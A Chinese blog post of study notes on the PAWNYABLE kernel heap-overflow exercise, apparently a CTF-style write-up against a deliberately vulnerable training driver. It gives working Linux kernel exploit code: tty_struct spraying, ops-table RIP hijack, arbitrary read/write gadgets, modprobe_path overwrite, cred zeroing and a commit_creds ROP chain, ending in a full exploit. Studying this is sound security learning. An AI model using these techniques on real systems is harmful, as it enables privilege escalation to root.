skip to content
z10 blog

PAWNYABLE kernel heap overflow 笔记

/ 11 min read

View more blogs with the tag kernel pwn, View more blogs with the tag pawnyable
Table of Contents

kernel heap 结构

slab 的结构虽然之前看过了好多，但是现在再看还是感觉有点迷糊。大概是 slab 上的块是没有 metadata 的，但是释放的时候和使用的时候状态不同，释放的时候会存指针。不过既然 kernel 修改链表指针的操作不像 ptmalloc 这么多，那就不太细看了（

tty structure 用于泄露地址

本题的堆块申请大小是 0x400，和 tty structure 这个结构体申请的大小一样。大小一样的块物理地址可能相邻，所以溢出的时候可能可以复写到。

size：0x2e0 `kmalloc-1024`


内核基址：可泄露。`ops` 指向的 `ptm_unix98_ops`


heap：可泄露。通过 `dev` 和 `driver`，但是未验证属于哪种 SLUB。


stack：似乎不能泄露。


劫持 RIP：可劫持。重写 `ops` 函数表。


产生：open("/dev/ptmx", O_RDWR | O_NOCTTY)


释放：close()

控制 rip

tty structure 有一个 ops 函数表 _tty_operations_，可以把这个 ops 改成一个堆的地址？

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    unsigned int (*write_room)(struct tty_struct *tty);
    unsigned int (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    int  (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
    int  (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

目前位置可以泄露和执行任意一个函数。

#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>


#define LEAK_SIZE 0x500
#define ORI_SIZE 0x400
#define SPREAD_SIZE 0x100
#define OPS_SIZE 0x100


uint64_t kbase;
uint64_t buf_addr;


void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }


int main() {


    char leak[LEAK_SIZE];
    int tty[SPREAD_SIZE];


    for(int i = 0; i < SPREAD_SIZE/2; i++) {
        tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    }


    int fd = open("/dev/holstein", O_RDWR);


    for(int i = 0; i < SPREAD_SIZE/2; i++) {
        tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    }


    read(fd, leak, LEAK_SIZE);


    kbase = *(uint64_t *)(leak + 1048) - 0xc38880;
    buf_addr = *(uint64_t *)(leak + 1080) - 0x438;
    print_hex("kbase", kbase);
    print_hex("buf_addr", buf_addr);


    *(uint64_t *)(leak + 1048) = buf_addr;


    for(int i = 0; i < ORI_SIZE; i=i+8) {
        *(uint64_t *)(leak + i) = 0xaaaaaaa000 + i;
    }


    write(fd, leak, LEAK_SIZE);


    for(int i = 0; i < SPREAD_SIZE; i++) {
        ioctl(tty[i], 0xdeadbeef, 0xcafebabe);
    }


    close(fd);


    return 0;
}

跳转到 ROP 所在

现在能够控制 rip，这就需要提前布置 rop 链子，然后跳转过去。咋做呢？需要找一个 mov rsp, rax 类似的 gadget，（寄存器可控）

可以控制的是 r8、r14，rdx，可以控制一半的是 rsi、rcx、r12

RAX: ffffffff9fe319da RBX: ffff9977c1e2fc00 RCX: 0000000011111111
RDX: 0022222222222222 RSI: 0000000011111111 RDI: ffff9977c1e2f800
RBP: ffffb50400187ea8 R08: 0022222222222222 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 0000000011111111
R13: ffff9977c1e2f800 R14: 0022222222222222 R15: ffff9977c1ea8f00

可以这么用正则表达式来匹配。

^(?=.*pop\s+rsp)(?=.*push\s+(r14|r8)).*$

任意读写操作

如果没有 gadget 控制 rsp 导致 rop，那么能不能直接实现任意读写？任意读写的实现通过这种 gadget

0xffffffff810477f7: mov qword ptr [rdx], rcx; ret;  // 只是写4个字节
0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;  // 任意读， rax 是返回值

怎么找

mov qword ptr \[rdx\], (r8|r14|rdx)
: mov eax, dword ptr \[rdx\]; ret

用这样的 gadget 可以完成每次读取 4 个字节，或者写入 4 个字节

uint32_t aar(uint64_t target) {
    *(uint64_t *)(leak + 1048) = buf_addr;
    *(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase;
    write(fd, leak, LEAK_SIZE);
    ioctl(tty[0], 0, target);
}


void aaw(uint64_t target, uint32_t value) {
    *(uint64_t *)(leak + 1048) = buf_addr;
    *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
    write(fd, leak, LEAK_SIZE);
    ioctl(tty[0], value, target);
}

modprobe_path 修改

Linux 上多种可执行文件格式并存，当执行具有可执行权限的文件时，根据文件开头的字节序列确定格式。默认情况下，会注册 ELF 文件和 shebang，但是当尝试调用与注册格式不匹配的未知可执行文件时，将使用 __request_module 。 modprobe_path 默认为 /sbin/modprobe ，如果您重写它并尝试启动格式不正确的可执行文件，您可以执行任意命令。

注意修改的文件里面要加上 #!/bin/sh\n 才能正常找到路径

void aaw(uint64_t target, uint32_t value) {
    if (tty_fd == -1) {
        *(uint64_t *)(leak + 1048) = buf_addr;
        *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
        write(fd, leak, LEAK_SIZE);
    }


    if (tty_fd = -1) {
        for (int i = 0; i < SPREAD_SIZE; i++) {
            int rv = ioctl(tty[i], value, target);
            if (rv != -1) {
                tty_fd = i;
            }
        }
    }


    ioctl(tty_fd, value, target);
}


void get_flag() {
    system("echo -e '#!/bin/sh\nchmod 777 /flag' > /sb");  // 这里随便写命令
    system("chmod +x /sb");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("/tmp/dummy");
}


void modify_modprobe_path() {
    aaw(modprobe_path + kbase, 0x62732f); // change /sbin/modprobe to /sb
    get_flag();
}

修改进程的 creds

用 comm 找到 cred structure 然后修改就行

int rw = -1;


uint32_t aar(uint64_t target) {
    if (rw != 1) {
        *(uint64_t *)(leak + 1048) = buf_addr;
        *(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase;
        write(fd, leak, LEAK_SIZE);
        rw = 1;
    }


    if (tty_fd = -1) {
        for (int i = 0; i < SPREAD_SIZE; i++) {
            int rv = ioctl(tty[i], 0, target);
            if (rv != -1) {
                tty_fd = i;
            }
            return rv;
        }
    }


    return ioctl(tty_fd, 0, target);
}


void aaw(uint64_t target, uint32_t value) {
    if (rw != 2) {
        *(uint64_t *)(leak + 1048) = buf_addr;
        *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
        write(fd, leak, LEAK_SIZE);
        rw = 2;
    }


    if (tty_fd = -1) {
        for (int i = 0; i < SPREAD_SIZE; i++) {
            int rv = ioctl(tty[i], value, target);
            if (rv != -1) {
                tty_fd = i;
                return ;
            }
        }
    }


    ioctl(tty_fd, value, target);


}


void attack_cred() {
    prctl(PR_SET_NAME, "giacomo");


    for(uint64_t addr = buf_addr - 0x500000; addr > buf_addr - 0x600000; addr -= 4) {
        if(aar(addr) == 0x63616967) {
            puts("find comm");
            print_hex("addr", addr);
            cred_addr = (((uint64_t)aar(addr-4))<< 32) + aar(addr-8);
            print_hex("cred_addr", cred_addr);
        }
    }


    for(uint64_t i = 0; i < 0x20; i += 4) {
        aaw(cred_addr + i, 0);
    }


    system("/bin/sh");
}

此外

一个快速获得 kernel 符号的脚本，extract 然后 vmlinux-to-elf 然后用 pwntools 来找。

from pwn import *
import sys


# get file_name as input
if len(sys.argv) < 2:
    print('Usage: python3 symbols.py <file_name>')
    exit()


file_name = sys.argv[1]
if not os.path.isfile(file_name):
    print(file_name + ' not found!')
    exit()


# deal with file
if not os.path.exists('vmlinux_symbol'):
    os.system('extract.sh ' + file_name + '> vmlinux')
    os.system('vmlinux-to-elf vmlinux vmlinux_symbol')


# get symbols
kbase = 0xffffffff81000000
kernel = ELF('vmlinux_symbol',  checksec=False)


commit_creds = kernel.sym['commit_creds'] - kbase
prepare_kernel_cred = kernel.sym['prepare_kernel_cred'] - kbase
swapgs_restore_regs_and_return_to_usermode = kernel.sym['swapgs_restore_regs_and_return_to_usermode'] - kbase
modprobe_path = next(kernel.search(b"/sbin/modprobe\0")) - kbase


print('commit_creds = ' + hex(commit_creds))
print('prepare_kernel_cred: =' + hex(prepare_kernel_cred))
print('swapgs_restore_regs_and_return_to_usermode = ' + hex(swapgs_restore_regs_and_return_to_usermode))
print('modprobe_path = ' + hex(modprobe_path))


if len(sys.argv) > 3:
    symbol_name = sys.argv[2]
    symbol = kernel.sym[symbol_name] - kbase
    print(symbol_name + ' = ' + hex(symbol))

完整 exp

#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/prctl.h>


#define LEAK_SIZE 0x500
#define ORI_SIZE 0x400
#define SPREAD_SIZE 0x100
#define OPS_SIZE 0x100


char leak[LEAK_SIZE];
int tty[SPREAD_SIZE];


int fd;


int tty_fd = -1;
int rw = -1;


uint64_t kbase;
uint64_t buf_addr;
uint64_t cred_addr;
uint64_t user_cs, user_ss, user_rflags, user_sp;


// 0xffffffff815f7e60: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop
// r13; pop rbp; ret;
uint64_t gadget = 0x5f7e60;
uint64_t pop_rdi_ret = 0x0d748d;
uint64_t pop_rcx_ret = 0x13c1c4;
uint64_t mov_rdi_rax_ret = 0x62707b;
uint64_t prepare_kernel_cred = 0x74650;
uint64_t commit_creds = 0x744b0;
uint64_t srrartu = 0x800e10 + 22;
uint64_t mov_rdx_rcx = 0x477f7;
uint64_t mov_eax_rdx = 0x18a285;
uint64_t modprobe_path = 0xe38180;


void print_hex(char *name, uint64_t addr) {
    printf("%s %" PRIx64 "\n", name, addr);
}


void print_hex32(char *name, uint32_t addr) {
    printf("%s %" PRIx32 "\n", name, addr);
}


void binsh() {
    puts("get shell");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}


void rop() {
    *(uint64_t *)(leak + 1048) = buf_addr;
    *(uint64_t *)(leak + 0x60) = gadget + kbase;


    uint64_t rop_chain[] = {pop_rdi_ret + kbase,
                            0,
                            prepare_kernel_cred + kbase,
                            pop_rcx_ret + kbase,
                            0,
                            mov_rdi_rax_ret + kbase,
                            commit_creds + kbase,
                            srrartu + kbase,
                            0x1,
                            0x2,
                            (uint64_t)&binsh,
                            user_cs,
                            user_rflags,
                            user_sp,
                            user_ss};


    memcpy(leak + 0x80, rop_chain, sizeof(rop_chain));
    write(fd, leak, LEAK_SIZE);
    for (int i = 0; i < SPREAD_SIZE; i++) {
        ioctl(tty[i], buf_addr + 0x70, buf_addr + 0x70);
    }
}


uint32_t aar(uint64_t target) {
    if (rw != 1) {
        *(uint64_t *)(leak + 1048) = buf_addr;
        *(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase;
        write(fd, leak, LEAK_SIZE);
        rw = 1;
    }


    if (tty_fd = -1) {
        for (int i = 0; i < SPREAD_SIZE; i++) {
            int rv = ioctl(tty[i], 0, target);
            if (rv != -1) {
                tty_fd = i;
            }
            return rv;
        }
    }


    return ioctl(tty_fd, 0, target);
}


void aaw(uint64_t target, uint32_t value) {
    if (rw != 2) {
        *(uint64_t *)(leak + 1048) = buf_addr;
        *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
        write(fd, leak, LEAK_SIZE);
        rw = 2;
    }


    if (tty_fd = -1) {
        for (int i = 0; i < SPREAD_SIZE; i++) {
            int rv = ioctl(tty[i], value, target);
            if (rv != -1) {
                tty_fd = i;
                return ;
            }
        }
    }


    ioctl(tty_fd, value, target);


}


void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}


void leak_addr() {
    read(fd, leak, LEAK_SIZE);


    kbase = *(uint64_t *)(leak + 1048) - 0xc38880;
    buf_addr = *(uint64_t *)(leak + 1080) - 0x438;
    print_hex("kbase", kbase);
    print_hex("buf_addr", buf_addr);
    print_hex("gadget", gadget + kbase);
    print_hex("mov_rdx_rcx", mov_rdx_rcx + kbase);
    print_hex("modprobe_path", modprobe_path + kbase);
}


void get_flag() {
    system("echo -e '#!/bin/sh\nchmod 777 /flag' > /sb");
    system("chmod +x /sb");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("/tmp/dummy");
}


void modify_modprobe_path() {
    aaw(modprobe_path + kbase, 0x62732f); // change /sbin/modprobe to /sb
    get_flag();
}


void attack_cred() {
    prctl(PR_SET_NAME, "giacomo");


    for(uint64_t addr = buf_addr - 0x500000; addr > buf_addr - 0x600000; addr -= 4) {
        if(aar(addr) == 0x63616967) {
            puts("find comm");
            print_hex("addr", addr);
            cred_addr = (((uint64_t)aar(addr-4))<< 32) + aar(addr-8);
            print_hex("cred_addr", cred_addr);
        }
    }


    for(uint64_t i = 0; i < 0x20; i += 4) {
        aaw(cred_addr + i, 0);
    }


    system("/bin/sh");
}


int main() {
    save_status();


    for (int i = 0; i < SPREAD_SIZE / 2; i++) {
        tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    }


    fd = open("/dev/holstein", O_RDWR);


    for (int i = 0; i < SPREAD_SIZE / 2; i++) {
        tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    }


    leak_addr();


    getchar();


    // rop();


    // modify_modprobe_path();


    attack_cred();


    getchar();


    close(fd);


    return 0;
}